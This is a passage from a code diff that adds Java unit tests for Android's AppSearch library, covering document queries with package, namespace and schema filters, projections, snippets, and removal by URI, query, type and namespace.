+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(inEmail, inDoc)
+ .build()));
+
+ // Query for the documents
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(2);
+ assertThat(documents).containsExactly(inEmail, inDoc);
+
+ // Query only for Document
+ searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .addSchemaType(
+ "Generic",
+ "Generic") // duplicate type in filter won't matter.
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(1);
+ assertThat(documents).containsExactly(inDoc);
+ }
+
+ @Test
+ public void testQuery_packageFilter() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("foo")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+
+ // Query for the document within our package
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "foo",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addFilterPackageNames(
+ ApplicationProvider.getApplicationContext()
+ .getPackageName())
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).containsExactly(email);
+
+ // Query for the document in some other package, which won't exist
+ searchResults =
+ mDb1.query(
+ "foo",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addFilterPackageNames("some.other.package")
+ .build());
+ List<SearchResult> results = searchResults.getNextPage().get();
+ assertThat(results).isEmpty();
+ }
+
+ @Test
+ public void testQuery_namespaceFilter() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build());
+
+ // Index two documents
+ AppSearchEmail expectedEmail =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("expectedNamespace")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail unexpectedEmail =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("unexpectedNamespace")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(expectedEmail, unexpectedEmail)
+ .build()));
+
+ // Query for all namespaces
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(2);
+ assertThat(documents).containsExactly(expectedEmail, unexpectedEmail);
+
+ // Query only for expectedNamespace
+ searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .addNamespace("expectedNamespace")
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(1);
+ assertThat(documents).containsExactly(expectedEmail);
+ }
+
+ @Test
+ public void testQuery_getPackageName() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index a document
+ AppSearchEmail inEmail =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+ // Query for the document
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+
+ List<SearchResult> results;
+ List<GenericDocument> documents = new ArrayList<>();
+ // keep loading next page until it's empty.
+ do {
+ results = searchResults.getNextPage().get();
+ for (SearchResult result : results) {
+ assertThat(result.getDocument()).isEqualTo(inEmail);
+ assertThat(result.getPackageName())
+ .isEqualTo(ApplicationProvider.getApplicationContext().getPackageName());
+ documents.add(result.getDocument());
+ }
+ } while (results.size() > 0);
+ assertThat(documents).hasSize(1);
+ }
+
+ @Test
+ public void testQuery_getDatabaseName() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index a document
+ AppSearchEmail inEmail =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+ // Query for the document
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+
+ List<SearchResult> results;
+ List<GenericDocument> documents = new ArrayList<>();
+ // keep loading next page until it's empty.
+ do {
+ results = searchResults.getNextPage().get();
+ for (SearchResult result : results) {
+ assertThat(result.getDocument()).isEqualTo(inEmail);
+ assertThat(result.getDatabaseName()).isEqualTo(DB_NAME_1);
+ documents.add(result.getDocument());
+ }
+ } while (results.size() > 0);
+ assertThat(documents).hasSize(1);
+
+ // Schema registration for another database
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(inEmail).build()));
+
+ // Query for the document
+ searchResults =
+ mDb2.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+
+ documents = new ArrayList<>();
+ // keep loading next page until it's empty.
+ do {
+ results = searchResults.getNextPage().get();
+ for (SearchResult result : results) {
+ assertThat(result.getDocument()).isEqualTo(inEmail);
+ assertThat(result.getDatabaseName()).isEqualTo(DB_NAME_2);
+ documents.add(result.getDocument());
+ }
+ } while (results.size() > 0);
+ assertThat(documents).hasSize(1);
+ }
+
+ @Test
+ public void testQuery_projection() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index two documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email1, email2)
+ .build()));
+
+ // Query with type property paths {"Email", ["subject", "to"]}
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+ // The two email documents should have been returned with only the "subject" and "to"
+ // properties.
+ AppSearchEmail expected1 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ AppSearchEmail expected2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ assertThat(documents).containsExactly(expected1, expected2);
+ }
+
+ // TODO(b/175039682) Add test cases for wildcard projection once go/oag/1534646 is submitted.
+ @Test
+ public void testQuery_projectionEmpty() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index two documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email1, email2)
+ .build()));
+
+ // Query with type property paths {"Email", []}
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addProjection(AppSearchEmail.SCHEMA_TYPE, Collections.emptyList())
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+ // The two email documents should have been returned without any properties.
+ AppSearchEmail expected1 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .build();
+ AppSearchEmail expected2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .build();
+ assertThat(documents).containsExactly(expected1, expected2);
+ }
+
+ @Test
+ public void testQuery_projectionNonExistentType() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index two documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email1, email2)
+ .build()));
+
+ // Query with type property paths {"NonExistentType", []}, {"Email", ["subject", "to"]}
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .addProjection("NonExistentType", Collections.emptyList())
+ .addProjection(AppSearchEmail.SCHEMA_TYPE, "subject", "to")
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+
+ // The two email documents should have been returned with only the "subject" and "to"
+ // properties.
+ AppSearchEmail expected1 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ AppSearchEmail expected2 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("namespace")
+ .setCreationTimestampMillis(1000)
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .build();
+ assertThat(documents).containsExactly(expected1, expected2);
+ }
+
+ @Test
+ public void testQuery_twoInstances() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index a document to instance 1.
+ AppSearchEmail inEmail1 =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(inEmail1).build()));
+
+ // Index a document to instance 2.
+ AppSearchEmail inEmail2 =
+ new AppSearchEmail.Builder("uri2")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(inEmail2).build()));
+
+ // Query for instance 1.
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ List<GenericDocument> documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(1);
+ assertThat(documents).containsExactly(inEmail1);
+
+ // Query for instance 2.
+ searchResults =
+ mDb2.query(
+ "body",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_EXACT_ONLY)
+ .build());
+ documents = convertSearchResultsToDocuments(searchResults);
+ assertThat(documents).hasSize(1);
+ assertThat(documents).containsExactly(inEmail2);
+ }
+
+ @Test
+ public void testSnippet() throws Exception {
+ // Schema registration
+ // TODO(tytytyww) add property for long and double.
+ AppSearchSchema genericSchema =
+ new AppSearchSchema.Builder("Generic")
+ .addProperty(
+ new PropertyConfig.Builder("subject")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .build();
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(genericSchema).build()).get();
+
+ // Index a document
+ GenericDocument document =
+ new GenericDocument.Builder<>("uri", "Generic")
+ .setNamespace("document")
+ .setPropertyString(
+ "subject",
+ "A commonly used fake word is foo. "
+ + "Another nonsense word that’s used a lot is bar")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(document).build()));
+
+ // Query for the document
+ SearchResultsShim searchResults =
+ mDb1.query(
+ "foo",
+ new SearchSpec.Builder()
+ .addSchemaType("Generic")
+ .setSnippetCount(1)
+ .setSnippetCountPerProperty(1)
+ .setMaxSnippetSize(10)
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .build());
+ List<SearchResult> results = searchResults.getNextPage().get();
+ assertThat(results).hasSize(1);
+
+ List<SearchResult.MatchInfo> matchInfos = results.get(0).getMatches();
+ assertThat(matchInfos).isNotNull();
+ assertThat(matchInfos).hasSize(1);
+ SearchResult.MatchInfo matchInfo = matchInfos.get(0);
+ assertThat(matchInfo.getFullText())
+ .isEqualTo(
+ "A commonly used fake word is foo. "
+ + "Another nonsense word that’s used a lot is bar");
+ assertThat(matchInfo.getExactMatchPosition())
+ .isEqualTo(new SearchResult.MatchRange(/*lower=*/ 29, /*upper=*/ 32));
+ assertThat(matchInfo.getExactMatch()).isEqualTo("foo");
+ assertThat(matchInfo.getSnippetPosition())
+ .isEqualTo(new SearchResult.MatchRange(/*lower=*/ 26, /*upper=*/ 33));
+ assertThat(matchInfo.getSnippet()).isEqualTo("is foo.");
+ }
+
+ @Test
+ public void testRemove() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example 2")
+ .setBody("This is the body of the testPut second email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email1, email2)
+ .build()));
+
+ // Check the presence of the documents
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri2")).hasSize(1);
+
+ // Delete the document
+ checkIsBatchResultSuccess(
+ mDb1.removeByUri(new RemoveByUriRequest.Builder().addUri("uri1").build()));
+
+ // Make sure it's really gone
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1", "uri2").build()).get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+
+ // Test if we delete a nonexistent URI.
+ AppSearchBatchResult<String, Void> deleteResult =
+ mDb1.removeByUri(new RemoveByUriRequest.Builder().addUri("uri1").build()).get();
+
+ assertThat(deleteResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ }
+
+ @Test
+ public void testRemoveByQuery() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("foo")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("bar")
+ .setBody("This is the body of the testPut second email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email1, email2)
+ .build()));
+
+ // Check the presence of the documents
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri2")).hasSize(1);
+
+ // Delete the email 1 by query "foo"
+ mDb1.removeByQuery(
+ "foo",
+ new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+ .get();
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1", "uri2").build()).get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+
+ // Delete the email 2 by query "bar"
+ mDb1.removeByQuery(
+ "bar",
+ new SearchSpec.Builder().setTermMatch(SearchSpec.TERM_MATCH_PREFIX).build())
+ .get();
+ getResult = mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri2").build()).get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri2").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ }
+
+ @Test
+ public void testRemoveByQuery_packageFilter() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("foo")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email).build()));
+
+ // Check the presence of the documents
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+ // Try to delete email with query "foo", but restricted to a different package name.
+ // Won't work and email will still exist.
+ mDb1.removeByQuery(
+ "foo",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addFilterPackageNames("some.other.package")
+ .build())
+ .get();
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+ // Delete the email by query "foo", restricted to the correct package this time.
+ mDb1.removeByQuery(
+ "foo",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addFilterPackageNames(
+ ApplicationProvider.getApplicationContext()
+ .getPackageName())
+ .build())
+ .get();
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1", "uri2").build()).get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ }
+
+ @Test
+ public void testRemove_twoInstances() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+
+ // Check the presence of the documents
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+ // Can't delete in the other instance.
+ AppSearchBatchResult<String, Void> deleteResult =
+ mDb2.removeByUri(new RemoveByUriRequest.Builder().addUri("uri1").build()).get();
+ assertThat(deleteResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+
+ // Delete the document
+ checkIsBatchResultSuccess(
+ mDb1.removeByUri(new RemoveByUriRequest.Builder().addUri("uri1").build()));
+
+ // Make sure it's really gone
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1").build()).get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+ // Test if we delete a nonexistent URI.
+ deleteResult =
+ mDb1.removeByUri(new RemoveByUriRequest.Builder().addUri("uri1").build()).get();
+ assertThat(deleteResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ }
+
+ @Test
+ public void testRemoveByTypes() throws Exception {
+ // Schema registration
+ AppSearchSchema genericSchema = new AppSearchSchema.Builder("Generic").build();
+ mDb1.setSchema(
+ new SetSchemaRequest.Builder()
+ .addSchema(AppSearchEmail.SCHEMA)
+ .addSchema(genericSchema)
+ .build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example 2")
+ .setBody("This is the body of the testPut second email")
+ .build();
+ GenericDocument document1 = new GenericDocument.Builder<>("uri3", "Generic").build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
+ .addGenericDocument(email1, email2, document1)
+ .build()));
+
+ // Check the presence of the documents
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1", "uri2", "uri3"))
+ .hasSize(3);
+
+ // Delete the email type
+ mDb1.removeByQuery(
+ "",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addSchemaType(AppSearchEmail.SCHEMA_TYPE)
+ .build())
+ .get();
+
+ // Make sure it's really gone
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1", "uri2", "uri3").build())
+ .get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ assertThat(getResult.getFailures().get("uri2").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+ assertThat(getResult.getSuccesses().get("uri3")).isEqualTo(document1);
+ }
+
+ @Test
+ public void testRemoveByTypes_twoInstances() throws Exception {
+ // Schema registration
+ mDb1.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+ mDb2.setSchema(new SetSchemaRequest.Builder().addSchema(AppSearchEmail.SCHEMA).build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example 2")
+ .setBody("This is the body of the testPut second email")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email1).build()));
+ checkIsBatchResultSuccess(
+ mDb2.putDocuments(
+ new PutDocumentsRequest.Builder().addGenericDocument(email2).build()));
+
+ // Check the presence of the documents
+ assertThat(doGet(mDb1, GenericDocument.DEFAULT_NAMESPACE, "uri1")).hasSize(1);
+ assertThat(doGet(mDb2, GenericDocument.DEFAULT_NAMESPACE, "uri2")).hasSize(1);
+
+ // Delete the email type in instance 1
+ mDb1.removeByQuery(
+ "",
+ new SearchSpec.Builder()
+ .setTermMatch(SearchSpec.TERM_MATCH_PREFIX)
+ .addSchemaType(AppSearchEmail.SCHEMA_TYPE)
+ .build())
+ .get();
+
+ // Make sure it's really gone in instance 1
+ AppSearchBatchResult<String, GenericDocument> getResult =
+ mDb1.getByUri(new GetByUriRequest.Builder().addUri("uri1").build()).get();
+ assertThat(getResult.isSuccess()).isFalse();
+ assertThat(getResult.getFailures().get("uri1").getResultCode())
+ .isEqualTo(AppSearchResult.RESULT_NOT_FOUND);
+
+ // Make sure it's still in instance 2.
+ getResult = mDb2.getByUri(new GetByUriRequest.Builder().addUri("uri2").build()).get();
+ assertThat(getResult.isSuccess()).isTrue();
+ assertThat(getResult.getSuccesses().get("uri2")).isEqualTo(email2);
+ }
+
+ @Test
+ public void testRemoveByNamespace() throws Exception {
+ // Schema registration
+ AppSearchSchema genericSchema =
+ new AppSearchSchema.Builder("Generic")
+ .addProperty(
+ new PropertyConfig.Builder("foo")
+ .setDataType(PropertyConfig.DATA_TYPE_STRING)
+ .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+ .setTokenizerType(PropertyConfig.TOKENIZER_TYPE_PLAIN)
+ .setIndexingType(PropertyConfig.INDEXING_TYPE_PREFIXES)
+ .build())
+ .build();
+ mDb1.setSchema(
+ new SetSchemaRequest.Builder()
+ .addSchema(AppSearchEmail.SCHEMA)
+ .addSchema(genericSchema)
+ .build())
+ .get();
+
+ // Index documents
+ AppSearchEmail email1 =
+ new AppSearchEmail.Builder("uri1")
+ .setNamespace("email")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example")
+ .setBody("This is the body of the testPut email")
+ .build();
+ AppSearchEmail email2 =
+ new AppSearchEmail.Builder("uri2")
+ .setNamespace("email")
+ .setFrom("from@example.com")
+ .setTo("to1@example.com", "to2@example.com")
+ .setSubject("testPut example 2")
+ .setBody("This is the body of the testPut second email")
+ .build();
+ GenericDocument document1 =
+ new GenericDocument.Builder<>("uri3", "Generic")
+ .setNamespace("document")
+ .setPropertyString("foo", "bar")
+ .build();
+ checkIsBatchResultSuccess(
+ mDb1.putDocuments(
+ new PutDocumentsRequest.Builder()
